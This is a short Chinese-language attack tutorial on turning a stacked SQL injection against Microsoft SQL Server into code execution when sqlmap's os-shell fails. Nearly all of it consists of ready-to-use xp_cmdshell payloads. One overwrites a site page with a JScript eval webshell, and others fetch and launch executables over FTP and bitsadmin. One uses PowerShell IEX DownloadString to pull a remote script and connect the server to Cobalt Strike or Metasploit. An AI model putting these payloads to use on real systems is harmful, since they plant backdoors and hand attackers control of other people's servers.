前言
在高权限有注入且得到网站物理为路径的情况下,正常我们是用的SQLMap的--os-shell
来进行相关渗透操作,但是这个时候SQLMap就不听指挥了,便有了下面的方法。
假设网站的物理路径是:c:\wwwroot\网站1\index.aspx
姿势一 手工注入(Chrome)
不能使用firefox的hackbar,因为会出错的。;exec master..xp_cmdshell 'echo paylaod > c:\wwwroot\网站1\index.aspx'--
姿势二 用下载者下载
echo一个下载者到服务器
1 | Set Post = CreateObject("Msxml2.XMLHTTP") |
shell.txt内容为:
1 | echo ^<%@ Page Language="Jscript"%^>^<%%eval(Request.Item["chopper"],"unsafe");%^> > c:\wwwroot\网站1\index.aspx |
注: ^符合是为了转义,在特殊字符的前面使用。
启动下载者下载;exec master..xp_cmdshell 'cscript c:\baidu.bat'--
姿势三 把路径换成hex
利用 burpsuite截获sqlmap写马的包,把路径转成hex。
姿势四 FTP下载木马
1 | ;exec master..xp_cmdshell 'echo open 8.8.8.8 21>ftp.txt&&echo 123>> ftp.txt&&echo 123>> ftp.txt&&echo binary>> ftp.txt&&echo get start_yam32.exe>> ftp.txt&&echo get sysinfo.exe>> ftp.txt&&echo bye>> ftp.txt&&ftp -s:ftp.txt&&del ftp.txt&&start_yam32.exe&&sysinfo.exe'-- |
姿势五 高权限、高版本
powershell 如果是sa权限、系统是win7及以上,我们可以使用powershell直接上线cobaltstrike或者Metasploit。
1
;exec master..xp_cmdshell 'powershell.exe -nop -W Hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://www.baidu.com/payload64.ps1');payload64"'--
禁用了powershell的话我们还可以用bitsadmin
1
2;exec master..xp_cmdshell 'bitsadmin /transfer n http://www.baidu.com/xiaoma.exe c:\windows\temp\xiaoma.exe'--
;exec master..xp_cmdshell 'start /b c:\windows\temp\xiaoma.exe'--
小结
其思路就是就是避免在执行的时候编码出现问题。
扩展阅读
收集整理的15种文件下载的方式
https://mp.weixin.qq.com/s/DfdUL5jFzJ8PvylxS6mN-A